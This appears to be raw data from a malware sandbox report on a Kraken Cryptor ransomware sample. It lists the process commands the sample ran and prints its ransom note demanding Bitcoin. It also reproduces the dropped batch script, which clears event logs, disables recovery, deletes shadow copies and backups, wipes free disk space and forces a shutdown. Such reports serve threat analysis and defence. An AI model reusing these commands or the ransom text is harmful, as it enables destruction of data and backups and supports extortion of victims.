23:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 31:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 22:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 528e4d24c181… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 528e4d24c181…. Malware family: Trojan.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc"],"about":{"@type":"SoftwareApplication","name":"krakenc.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":20,"total":28},"behavioralIndicators":{"malicious":9,"suspicious":19},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}24:T7b4,Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log Application" (UID: 00017387-00002536) Spawned process "wevtutil.exe" with commandline "clear-log Application" (UID: 00017395-00002500) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log Security" (UID: 00017419-00003140) Spawned process "wevtutil.exe" with commandline "clear-log Security" (UID: 00017425-00003620) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log System" (UID: 00017436-00002432) Spawned process "wevtutil.exe" with commandline "clear-log System" (UID: 00017441-00003224) Spawned process "cmd.exe" with commandline "/C sc config eventlog start=disabled" (UID: 00017456-00002960) Spawned process "sc.exe" with commandline "sc config eventlog start=disabled" (UID: 00017461-00002232) Spawned process "cmd.exe" with commandline "/C REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v ..." (UID: 00017466-00002972) Spawned process "reg.exe" with commandline "REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v S ..." (UID: 00017470-00002192) Spawned process "tasklist.exe" with commandline ""tasklist" /V /FO CSV" (UID: 00017478-00002208) Spawned process "cmd.exe" with commandline "/C cd %ALLUSERSPROFILE%\ && release.bat" (UID: 00019492-00002052) Spawned process "cmd.exe" with commandline "cmd /c ""%TEMP%\uk1dp015.0s0.bat" "" (UID: 00019499-00003432) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (UID: 00019517-00003856) Spawned process "PING.EXE" with commandline "PING 127.0.0.1 -n 1" (UID: 00019518-00003336) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v Eu ..." (UID: 00019538-00002768) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\sdelete.exe -c -z C:" (UID: 00019553-00003476) Spawned process "sdelete.exe" with commandline "-c -z C:" (UID: 00019557-00003560)25:T7b4,Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log Application" (UID: 00017387-00002536) Spawned process "wevtutil.exe" with commandline "clear-log Application" (UID: 00017395-00002500) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log Security" (UID: 00017419-00003140) Spawned process "wevtutil.exe" with commandline "clear-log Security" (UID: 00017425-00003620) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log System" (UID: 00017436-00002432) Spawned process "wevtutil.exe" with commandline "clear-log System" (UID: 00017441-00003224) Spawned process "cmd.exe" with commandline "/C sc config eventlog start=disabled" (UID: 00017456-00002960) Spawned process "sc.exe" with commandline "sc config eventlog start=disabled" (UID: 00017461-00002232) Spawned process "cmd.exe" with commandline "/C REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v ..." (UID: 00017466-00002972) Spawned process "reg.exe" with commandline "REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v S ..." (UID: 00017470-00002192) Spawned process "tasklist.exe" with commandline ""tasklist" /V /FO CSV" (UID: 00017478-00002208) Spawned process "cmd.exe" with commandline "/C cd %ALLUSERSPROFILE%\ && release.bat" (UID: 00019492-00002052) Spawned process "cmd.exe" with commandline "cmd /c ""%TEMP%\uk1dp015.0s0.bat" "" (UID: 00019499-00003432) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (UID: 00019517-00003856) Spawned process "PING.EXE" with commandline "PING 127.0.0.1 -n 1" (UID: 00019518-00003336) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v Eu ..." (UID: 00019538-00002768) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\sdelete.exe -c -z C:" (UID: 00019553-00003476) Spawned process "sdelete.exe" with commandline "-c -z C:" (UID: 00019557-00003560)26:T528,"" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config" "" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch" "" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_32\index23b.dat"27:T510,"" queried SystemProcessInformation at 00013596-00002384-00000105-12314904013 "" queried SystemProcessInformation at 00013596-00002384-00000105-18260090451 "" queried SystemProcessInformation at 00013596-00002384-00000105-24553484367 "" queried SystemProcessInformation at 00013596-00002384-00000105-30541267691 "" queried SystemProcessInformation at 00013596-00002384-00000105-36344798770 "" queried SystemProcessInformation at 00013596-00002384-00000105-41631149481 "" queried SystemProcessInformation at 00013596-00002384-00000105-46201220744 "" queried SystemProcessInformation at 00013596-00002384-00000105-50741559034 "" queried SystemProcessInformation at 00013596-00002384-00000105-56665588437 "" queried SystemProcessInformation at 00013596-00002384-00000105-61582023526 "" queried SystemProcessInformation at 00013596-00002384-00000105-68590489411 "" queried SystemProcessInformation at 00013596-00002384-00000105-91606004613 "tasklist.exe" queried SystemProcessInformation at 00017478-00002208-00000105-89234654816 "tasklist.exe" queried SystemProcessInformation at 00017478-00002208-00000105-8923552181928:T1aea,"Software\Sysinternals\%s" (Indicator: "sysinternals") "Sysinternals License" (Indicator: "sysinternals") "\pard\brdrb\brdrs\brdrw10\brsp20 \sb120\sa120\b\f0\fs24 SYSINTERNALS SOFTWARE LICENSE TERMS\fs28\par" (Indicator: "sysinternals") "\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Systinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par" (Indicator: "sysinternals") "\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par" (Indicator: "sysinternals") "\pard\fi-357\li357\sb120\sa120\tx360\b\fs20 3.\tab SENSITIVE INFORMATION. \b0 Please be aware that, similar to other debug tools that capture \ldblquote process state\rdblquote information, files saved by Sysinternals tools may include personally identifiable or other sensitive information (such as usernames, passwords, paths to files accessed, and paths to registry accessed). By using this software, you acknowledge that you are aware of this and take sole responsibility for any personally identifiable or other sensitive information provided to Microsoft or any other party through your use of the software.\b\par" (Indicator: "sysinternals") "\fs20 11.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed "as - is." You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par" (Indicator: "sysinternals") "\pard\fi-360\li360\sb120\sa120\tx360\fs20 12.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par" (Indicator: "sysinternals") "\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par" (Indicator: "sysinternals") "\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par" (Indicator: "sysinternals") "\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par" (Indicator: "sysinternals") "\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par" (Indicator: "sysinternals") "SYSINTERNALS SOFTWARE LICENSE TERMSThese license terms are an agreement between Sysinternals(a wholly owned subsidiary of Microsoft Corporation) and you.Please read them.They apply to the software you are downloading from technet.microsoft.com / sysinternals, which includes the media on which you received it, if any.The terms also apply to any Sysinternals* updates,*supplements,*Internet - based services,*and support servicesfor this software, unless other terms accompany those items.If so, those term" (Indicator: "sysinternals") "rights under your local laws which this agreement cannot change.To the extent permitted under your local laws, sysinternals excludes the implied warranties of merchantability, fitness for a particular purpose and non - infringement.LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGESYou can recover from sysinternals and its suppliers only direct damages up to U.S.$5.00.You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.This limitation appl" (Indicator: "sysinternals") "als - www.sysinternals.com" (Indicator: "sysinternals") ":: [Version 1.3]REM [Echo OFF]@echo offREM [Microsoft Sysinternals Eula Accepted]REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /fREM [Wipe Drives Free Space]cmd.exe /c C:\ProgramData\sdelete.exe -c -z C:cmd.exe /c C:\ProgramData\sdelete.exe -z D:cmd.exe /c C:\ProgramData\sdelete.exe -z Z:REM [Start SYSTEM Shutdown Timer]shutdown /S /F /T 300 /C "Unexpected shutdown due to maintenance break."REM [Disable Safe Boot]bcdedit /set {default} recoveryenabled No && bcdedit /set {default} bootstatuspolicy ignoreallfailuresREM [Delete Backups]wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0wmic SHADOWCOPY DELETE && vssadmin delete shadows /AllREM [Delete Temp Files]del C:\ProgramData\sdelete.exedel C:\ProgramData\release.bat" (Indicator: "sysinternals") "REM [Microsoft Sysinternals Eula Accepted]" (Indicator: "sysinternals") "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (Indicator: "sysinternals") "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f" (Indicator: "sysinternals") "SDelete v2.01 - Secure file deleteCopyright (C) 1999-2018 Mark RussinovichSysinternals - www.sysinternals.com" (Indicator: "sysinternals")29:T1302,"!\r\n* DON'T USE THIRD-PARTY OR PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY!\r\n* DON'T ASK PEOPLE OR DATA RECOVERY CENTERS, THEY CANNOT DIRECT DECRYPT YOUR FILES AND CONTACT WITH US, THEY ARE MAY ADD EXTRA CHARGE!\r\n\r\n> Additional\r\n\r\n- Project" (Source: krakenc.exe.bin, Indicator: "decrypt your files") "___ .-' `'. / \ | ; | | ___.--, _.._ |0) ~ (0) | _.---'`__.-( (_. __.--'`_.. '.__.\ '--. \_.-' ,.--'` `''` ( ,.--'` ',__ /./; ;, '.__.'` __ _`) ) .---.__.' / | |\ \__..--'' '''--.,_ `---' .'.''-._.-'`_./ /\ '. \ _.-~~~````~~~-._`-.__.' | | .' _.-' | | \ \ '. `~---` \ \/ .' \ \ '. '-._) \/ / \ \ `=.__`~-. - ALL YOUR FILES HAS BEEN ENCRYPTED BY âKRAKEN CRYPTORâ! / /\ `) ) / / `''.`\ - READ THIS GUIDE BELOW TO RECOVERY YOUR FILES! , _.-'.'\ \ / / ( ( / / `--~` ) ) .-'.' '.'. | ( E-Mail : onionhelp@memeware.net (/` ( (` ) ) '-; Alternative : BM-2cWdhn4f5UyMvruDBGs5bK77NsCFALMJkR@bitmessage.ch ` '-; (-'-----BEGIN KRAKEN ENCRYPTED UNIQUE KEY-----+MnQQpuS92j4NHZ14Ln1ud0yHnDpGORqtwx8c1RW7hbtdUcU9Ao44kEwVaA9hbX+bojcgnHrcTyG5G/RCxGzrOM1F7828qHkKlfrwrXthKQGUSEdfwUG/EiCSdWpE0jSlNB8/1glliaOFava8s1UqvhfyYQ7eD5r96XpZTkeuy5PUvPu22Ai4gy57hob1XQ1KBzlDU+m6s8RejnLNXtBYAeA75HcyNwVDGojPArPMhqy5P1HhyK0FEoIB/D2X/jnPaXBiC79ZmcMdKLQMOLU43OnmRBTvyHYigR7ipsvO1LCc4sVqmr90nnLy1c/12uGqHUV/RrhLg0ziA7Lg8Vku2XEvib78yfa6Slo9TT65PQXVy4dV8SigX0vWc90JL/cXwvzog4S/l3WP7PkIgLE5f+3ieSKPqMNjGvELm4fjcxZBl+/t55xYjR5qc9yUqjhWpBtmArkH2DT1VDgWsvpOGsQaR+5poy5RV6JVOViwEkE2r+Ut7nHBPmMVNMvtORRrOBROm+2ElxKKhsGNVk9q2o2R4RlZjsfYS8u5dxeVkLNvlVV8ms1JTBLBC0DjDqfOSMG7nK85a0gUrO0OfAXURaKsoRXvkabqBsV0T4V5OyUBfvlm/E3K+PpwlGJSxv6ehuHoouly0tFzna/QN3ydV0hg4gkINfaVhnt2FkSWMuiL77nL7qYSIzbJNdM8TEWS50=-----END KRAKEN ENCRYPTED UNIQUE KEY-----> What happened to my computer?All of your files such as documents, images, videos and other files with the different names and extensions are encrypted by âKRAKEN CRYPTORâ!The speed, power and complexity of this encryption have been high and if you are now viewing this guide.It means that âKRAKEN CRYPTORâ immediately removed form your system!No way to recovery your files without âKRAKEN DECRYPTORâ software and your computer âUNIQUE KEYâ!You need to buy it from us because only we can help you!> What the mean is encryption?In cryptography, encryption is the process of encoding a message or information in such a way that only authorized parties can access it.And those who are not authorized cannot.> How can recover my files?We guarantee that you can recover all your files soon safely.You can decrypt one of your encrypted smaller file for free in the first contact with us.For the decryption service, we also need your âKRAKEN ENCRYPTED UNIQUE KEYâ you can see this in the top!Are you want to decrypt all of your encrypted files? if yes! You need to pay for decryption service to us!After your payment made, all of your encrypted files has been decrypted.> How much is need to pay?You need to pay (0.125 BTC), payment only can made as Bitcoins.This links help you to understand whats is a Bitcoins and how it work:https://en.wikipedia.org/wiki/Bitcoins> How to obtain Bitcoins?The easiest way to buy Bitcoins is LocalBitcoins website.You must register on this site and click âBUY Bitcoinsâ then choose your country to find sellers and their prices.https://localBitcoins.com/buy_BitcoinsOther places to buy Bitcoins in exchange for other currencies:https://Bitcoins.org/en/exchanges> Attention* DON'T MODIFY OR RENAME ENCRYPTED FILES!* DON'T MODIFY âKRAKEN ENCRYPTED UNIQUE KEYâ!* DON'T USE THIRD-PARTY OR PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY!* DON'T ASK PEOPLE OR DATA RECOVERY CENTERS, THEY CANNOT DIRECT DECRYPT YOUR FILES AND CONTACT WITH US, THEY ARE MAY ADD EXTRA CHARGE!> Additional- Project âKRAKEN CRYPTORâ doesn't damage any of your files, this action is reversible if you follow the instructions above.- Also, our policy is obvious: âNO PAYMENT! NO DECRYPT!â, if you do not have the ability to pay, we review your terms." (Source: # How to Decrypt Files.txt, Indicator: "decrypt your files") "* DON'T USE THIRD-PARTY OR PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY!" (Source: # How to Decrypt Files.txt, Indicator: "decrypt your files") "* DON'T ASK PEOPLE OR DATA RECOVERY CENTERS, THEY CANNOT DIRECT DECRYPT YOUR FILES AND CONTACT WITH US, THEY ARE MAY ADD EXTRA CHARGE!" (Source: # How to Decrypt Files.txt, Indicator: "decrypt your files")2a:T651,"C:\krakenc.exe" marked "C:\PerfLogs\Touch" for deletion "C:\krakenc.exe" marked "C:\PerfLogs\Admin\Touch" for deletion "C:\krakenc.exe" marked "C:\Program Files\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Contacts\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Desktop\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Documents\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Documents\Visual Studio 2008\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Documents\Visual Studio 2008\Templates\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Documents\Visual Studio 2008\Templates\ItemTemplates\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Documents\Visual Studio 2008\Templates\ProjectTemplates\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Downloads\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Favorites\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Favorites\Links\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Favorites\Links for United States\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Favorites\Microsoft Websites\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Favorites\MSN Websites\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Favorites\Windows Live\Touch" for deletion "C:\krakenc.exe" marked "C:\Users\%OSUSER%\Links\Touch" for deletion2b:T6ad,"" opened "C:\PerfLogs\Touch" with delete access "" opened "C:\PerfLogs\Admin\Touch" with delete access "" opened "C:\Program Files\Touch" with delete access "" opened "C:\Users\Touch" with delete access "" opened "C:\Users\KFb8qpm\Touch" with delete access "" opened "C:\Users\KFb8qpm\Desktop background.png" with delete access "" opened "C:\Users\KFb8qpm\Contacts\Touch" with delete access "" opened "C:\Users\KFb8qpm\Contacts\%OSUSER%.contact" with delete access "" opened "C:\Users\KFb8qpm\Desktop\Touch" with delete access "" opened "C:\Users\KFb8qpm\Documents\Touch" with delete access "" opened "C:\Users\KFb8qpm\Documents\Visual Studio 2008\Touch" with delete access "" opened "C:\Users\KFb8qpm\Documents\Visual Studio 2008\Templates\Touch" with delete access "" opened "C:\Users\KFb8qpm\Documents\Visual Studio 2008\Templates\ItemTemplates\Touch" with delete access "" opened "C:\Users\KFb8qpm\Documents\Visual Studio 2008\Templates\ProjectTemplates\Touch" with delete access "" opened "C:\Users\KFb8qpm\Downloads\Touch" with delete access "" opened "C:\Users\KFb8qpm\Downloads\01dMtnkBz9.gif" with delete access "" opened "C:\Users\KFb8qpm\Downloads\04bZ.txt" with delete access "" opened "C:\Users\KFb8qpm\Downloads\07Y08HBp.txt" with delete access "" opened "C:\Users\KFb8qpm\Downloads\0cuxPf1k3pJ5.pdf" with delete access "" opened "C:\Users\KFb8qpm\Downloads\0gakl8ixtWMkw.doc" with delete access2c:T7f9,"" wrote bytes "7739247779a82877be722877d62d28771de2237705a22877c868277757d12e77bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74DD1000" (part of module "WSHIP6.DLL") "" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" (part of module "NSI.DLL") "" wrote bytes "92e6237779a82877be722877d62d28771de2237705a22877bee32377616f2877684126770050267700000000ad378b758b2d8b75b6418b7500000000" to virtual address "0x74881000" (part of module "WSHTCPIP.DLL") "" wrote bytes "db4d286b00000000" to virtual address "0x01092000" (part of module "KRAKENC.EXE") "" wrote bytes "0857d0750478d9750000000051c1ab769498ab76ee9cab7675dcad76273ead76efb2b1760000000046ce3c77013d3d7738ed3d77cfcd3c7731233c77de2f3d77c4ca3c7780bb3c77aa6e3d779fbb3c7792bb3c7746ba3c770abf3c7700000000" to virtual address "0x69B51000" (part of module "SHFOLDER.DLL") "" wrote bytes "14b767c5" to virtual address "0x6AC31FDC" (part of module "MSCORWKS.DLL") "reg.exe" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" (part of module "NSI.DLL") "tasklist.exe" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" (part of module "NSI.DLL") "PING.EXE" wrote bytes "4053267758582777186a2777653c28770000000000bf3c770000000056cc3c77000000007cca3c7700000000376843756a2c2877d62d287700000000206943750000000029a63c7700000000a48d437500000000f70e3c7700000000" to virtual address "0x76B61000" (part of module "NSI.DLL")2d:T884,"" wrote 32 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 1008) "" wrote 52 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 1008) "" wrote 4 bytes to a remote process "C:\Windows\System32\tasklist.exe" (Handle: 1008) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\wevtutil.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\wevtutil.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\wevtutil.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\sc.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\sc.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\sc.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 84) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 88) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 88) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 88) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 92) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 92) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\reg.exe" (Handle: 92) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 96) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 96) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\System32\PING.EXE" (Handle: 96) "cmd.exe" wrote 32 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 84) "cmd.exe" wrote 52 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 84) "cmd.exe" wrote 4 bytes to a remote process "C:\ProgramData\sdelete.exe" (Handle: 84)2e:T4e1,Found malicious artifacts related to "152.199.19.160": ... File SHA256: f54ef9134f9e2247c421d05aa484b2e8ff78bd80c2630413bea62aab199b0df9 (Date: 08/22/2018 07:48:31) File SHA256: f3b923ca1f6bd6d684f731bd0c67730d8bf104630225c2656d3c04311cc950f6 (Date: 08/22/2018 06:48:44) File SHA256: 3e8578ae187ef52f5e6235d9d60bdd3a99697a5a83ca5406720eac83d286c39b (Date: 08/22/2018 05:26:32) File SHA256: 415ecca207cb69f1144de34412ddb76bb4d433bd6578fdf29e60dc0ee84603a1 (Date: 08/22/2018 05:02:51) File SHA256: f0ae3f43160bd69c6021cbfd7bd36170d48976f9a78ab7b8a56ac58d68e4f102 (Date: 08/22/2018 04:03:35) File SHA256: 528e4d24c18160b6bdd73c9a612d38a78fc58bd40c8ab415973a94429b321dfc (AV positives: 2/71 scanned on 08/21/2018 10:24:38) File SHA256: 0b1ac5bec964de3643952095ba8c55ed38d1506b55f28dc717ce527357b26fec (AV positives: 8/71 scanned on 08/20/2018 23:43:24) File SHA256: 7177ec175ee12d8349be8ffe2c7b32ff910b6bdf15217c090647d4d35f632fbc (AV positives: 6/71 scanned on 08/20/2018 23:40:47) File SHA256: befb5c4bda1dab8bc30323759f5372af463268c022cc8af004564ba952dc0e7b (AV positives: 39/71 scanned on 08/20/2018 23:36:02) File SHA256: 4d4f16c4ceea507bba4189acdf555af4193048f2297ae1ce08cfbcfee95cd9a1 (AV positives: 1/69 scanned on 08/20/2018 18:57:43)2f:T83c,Spawned process "" (UID: 00013596-00002384) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log Application" (UID: 00017387-00002536) Spawned process "wevtutil.exe" with commandline "clear-log Application" (UID: 00017395-00002500) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log Security" (UID: 00017419-00003140) Spawned process "wevtutil.exe" with commandline "clear-log Security" (UID: 00017425-00003620) Spawned process "cmd.exe" with commandline "/C wevtutil.exe clear-log System" (UID: 00017436-00002432) Spawned process "wevtutil.exe" with commandline "clear-log System" (UID: 00017441-00003224) Spawned process "cmd.exe" with commandline "/C sc config eventlog start=disabled" (UID: 00017456-00002960) Spawned process "sc.exe" with commandline "sc config eventlog start=disabled" (UID: 00017461-00002232) Spawned process "cmd.exe" with commandline "/C REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v Start / t REG_DWORD / d 4 / f" (UID: 00017466-00002972) Spawned process "reg.exe" with commandline "REG add "HKLM\SYSTEM\CurrentControlSet\services\eventlog" / v Start / t REG_DWORD / d 4 / f" (UID: 00017470-00002192) Spawned process "tasklist.exe" with commandline ""tasklist" /V /FO CSV" (UID: 00017478-00002208) Spawned process "cmd.exe" with commandline "/C cd %ALLUSERSPROFILE%\ && release.bat" (UID: 00019492-00002052) Spawned process "cmd.exe" with commandline "cmd /c ""%TEMP%\uk1dp015.0s0.bat" "" (UID: 00019499-00003432) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete"" (UID: 00019517-00003856) Spawned process "PING.EXE" with commandline "PING 127.0.0.1 -n 1" (UID: 00019518-00003336) Spawned process "reg.exe" with commandline "REG ADD "HKEY_CURRENT_USER\Software\Sysinternals\SDelete" /v EulaAccepted /t REG_DWORD /d 1 /f" (UID: 00019538-00002768) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\sdelete.exe -c -z C:" (UID: 00019553-00003476) Spawned process "sdelete.exe" with commandline "-c -z C:" (UID: 